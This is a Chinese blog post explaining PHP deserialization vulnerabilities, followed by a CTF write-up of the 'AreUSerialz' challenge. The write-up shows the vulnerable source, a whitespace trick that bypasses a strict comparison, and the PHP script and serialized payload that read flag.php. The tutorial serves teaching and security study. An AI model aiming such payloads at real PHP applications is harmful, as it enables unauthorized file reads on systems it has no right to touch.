【PHP反序列化】速览
PHP反序列化
一、原理
序列化就是将对象转化成字符串,反序列化相反。数据的格式转换和对象的序列化有利于对象的保存 。
反序列化漏洞:就是php对数据进行反序列化时,没有进行过滤,导致用户可以控制反序列化的内容,调用一些默认的魔术方法,进行SQL注入等攻击。
序列化函数:serialize()
反序列函数: unserialize()
php中的魔术方法:
- __construct():构造函数,对象创建时被触发。
- __destruct():析构函数,对象被销毁时触发。当不存在序列化函数时,在类的实例化时就被执行。当存在序列化函数时,在先执行construct(),然后序列化,最后执行destruct()。
- __wakeup():苏醒函数,反序列化时被调用。
实例

上述代码中,首先实例化一个A类,此时会自动调用__construct方法。然后对其进行序列化,输出序列化的结果。最后对其进行发序列化,此时又会自动调用__wakeup函数。
运行结果:

可见序列化之后其实是变成了一串字符:
O:1:"A":1:{s:2:"hh";s:3:"zfr";}
O表示object类,s表示string类型
二、实战
来看一道ctfhub上的题:2020-网鼎杯-青龙组-Web-AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
可以看到,首先GET方法获取我们输入的str值,进行一个is_valid判断,看是否在正常字符串内,然后对str进行一个反序列化。因此我们可以猜到,输入的str应该是一个序列化后的结果。
再看类FileHandler,看到方法__destruct()和__construct(),当我们str中提前实例化类FileHandler时,就会执行这两个函数。同时,存在两个方法read()和write()用于读写特定目录下的文件。因为我们要读flag的值,所以肯定要执行read方法,因此需要变量$op=2。
观察__destruct()函数,其中如果op=2,则会强制将op转化为1。但是,因为===同时判断类型和数值。所以如果我们输入op=" 2",因为2前面存在一个空格,则可以绕过该强制等于。
经过以上代码分析,可以构建如下代码:
<?php
class FileHandler{
public $op= " 2";
public $filename="flag.php";
public $content = "ss";
}
$test=new FileHandler();
$hh=serialize($test);
echo $hh;
?>
输出的结果即是我们的payload:
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"ss";}
使用GET将上述str的值传入,再查看网页源代码,即可看到我们的FLAG。
总结
其安全性问题主要出现在反序列化环节,当我们序列化一个含有危险语句比如SQL注入语句的对象时,该对象被转化成字符串,并不会被识别。但是如果服务器端进行反序列化操作,则会执行该危险语句,导致危险产生。
【PHP反序列化】速览的更多相关文章
- .NET平台开源项目速览(17)FluentConsole让你的控制台酷起来
从该系列的第一篇文章 .NET平台开源项目速览(1)SharpConfig配置文件读写组件 开始,不知不觉已经到第17篇了.每一次我们都是介绍一个小巧甚至微不足道的.NET平台的开源软件,或者学习,或 ...
- .NET平台开源项目速览(15)文档数据库RavenDB-介绍与初体验
不知不觉,“.NET平台开源项目速览“系列文章已经15篇了,每一篇都非常受欢迎,可能技术水平不高,但足够入门了.虽然工作很忙,但还是会抽空把自己知道的,已经平时遇到的好的开源项目分享出来.今天就给大家 ...
- .NET平台开源项目速览(13)机器学习组件Accord.NET框架功能介绍
Accord.NET Framework是在AForge.NET项目的基础上封装和进一步开发而来.因为AForge.NET更注重与一些底层和广度,而Accord.NET Framework更注重与机器 ...
- .NET平台开源项目速览(1)SharpConfig配置文件读写组件
在.NET平台日常开发中,读取配置文件是一个很常见的需求.以前都是使用System.Configuration.ConfigurationSettings来操作,这个说实话,搞起来比较费劲.不知道大家 ...
- .NET平台开源项目速览(12)哈希算法集合类库HashLib
.NET的System.Security.Cryptography命名空间本身是提供加密服务,散列函数,对称与非对称加密算法等功能.实际上,大部分情况下已经满足了需求,而且.NET实现的都是目前国际上 ...
- .NET平台开源项目速览(11)KwCombinatorics排列组合使用案例(1)
今年上半年,我在KwCombinatorics系列文章中,重点介绍了KwCombinatorics组件的使用情况,其实这个组件我5年前就开始用了,非常方便,麻雀虽小五脏俱全.所以一直非常喜欢,才写了几 ...
- .NET平台开源项目速览(10)FluentValidation验证组件深入使用(二)
在上一篇文章:.NET平台开源项目速览(6)FluentValidation验证组件介绍与入门(一) 中,给大家初步介绍了一下FluentValidation验证组件的使用情况.文章从构建间的验证器开 ...
- .NET平台开源项目速览(9)软件序列号生成组件SoftwareProtector介绍与使用
在文章:这些.NET开源项目你知道吗?让.NET开源来得更加猛烈些吧!(第二辑)中,给大家初步介绍了一下Software Protector序列号生成组件.今天就通过一篇简单的文章来预览一下其强大的功 ...
- .NET平台开源项目速览(8)Expression Evaluator表达式计算组件使用
在文章:这些.NET开源项目你知道吗?让.NET开源来得更加猛烈些吧!(第二辑)中,给大家初步介绍了一下Expression Evaluator验证组件.那里只是概述了一下,并没有对其使用和强大功能做 ...
- .NET平台开源项目速览(7)关于NoSQL数据库LiteDB的分页查询解决过程
在文章:这些.NET开源项目你知道吗?让.NET开源来得更加猛烈些吧!(第二辑) 与 .NET平台开源项目速览(3)小巧轻量级NoSQL文件数据库LiteDB中,介绍了LiteDB的基本使用情况以及部 ...
随机推荐
- List 接口及其常用方法
List 接口基本介绍 List接口是Collection接口的子接口,其主要特点如下: List中元素有序,是按照元素的插入顺序进行排序的.每个元素都有一个与之关联的整数型索引(索引从 0 开始), ...
- BeanDefinitionStoreException: Failed to read candidate component class
ssm 整合时出现问题 org.springframework.beans.factory.BeanDefinitionStoreException: Failed to read candidate ...
- RabbitMQ升级过程以及问题解决
1.卸载MQ 如果安装过MQ需先彻底卸载ERlangOTP与rabbitMQ,卸载步骤如下 1. 停止RabbitMQ服务 2. 在控制面板中卸载Erlang与RabbitMQ 3. 删除C:\ ...
- vue3 安装 3d-force-graph
1.首先创建vue3的项目 2.创建好后通过开发工具打开项目并打开命令行,输入指令 npm install 3d-force-graph 安装即可 3.在使用的页面中引入 3d-force-graph ...
- 2023年最具威胁的25种安全漏洞(CWE TOP 25)
摘要: CWE Top 25 是通过分析美国国家漏洞数据库(NVD)中的公共漏洞数据来计算的,以获取前两个日历年 CWE 弱点的根本原因映射. 本文分享自华为云社区<2023年最具威胁的25种安 ...
- C# 12新预览功能介绍
Visual Studio 17.7 Preview 3和.NET 8 Preview 6延续了C# 12的发展.该预览版包含的功能旨在为未来的性能增强奠定基础.对内联数组的轻松访问将允许库在更多地方 ...
- Hugging News #0717: 开源大模型榜单更新、音频 Transformers 课程完成发布!
每一周,我们的同事都会向社区的成员们发布一些关于 Hugging Face 相关的更新,包括我们的产品和平台更新.社区活动.学习资源和内容更新.开源库和模型更新等,我们将其称之为「Hugging Ne ...
- Blazor前后端框架Known-V1.2.6
V1.2.6 Known是基于C#和Blazor开发的前后端分离快速开发框架,开箱即用,跨平台,一处代码,多处运行. Gitee: https://gitee.com/known/Known Gith ...
- 压测工具sysbench的使用
前言 sysBench是一个模块化的.跨平台.多线程基准测试工具,主要用于评估测试各种不同系统参数下的数据库负载情况.sysbench提供如下测试: (1)CPU性能 (2)磁盘IO性能 (3)调度程 ...
- Kali开机启动模式修改
kali Linux安装之后默认启动图形化界面,为了减轻系统负担,可以修改启动进入字符界面. 具体步骤如下: 1.打开引导配置文件 vim /etc/default/grub 2.修改GRUB_CMD ...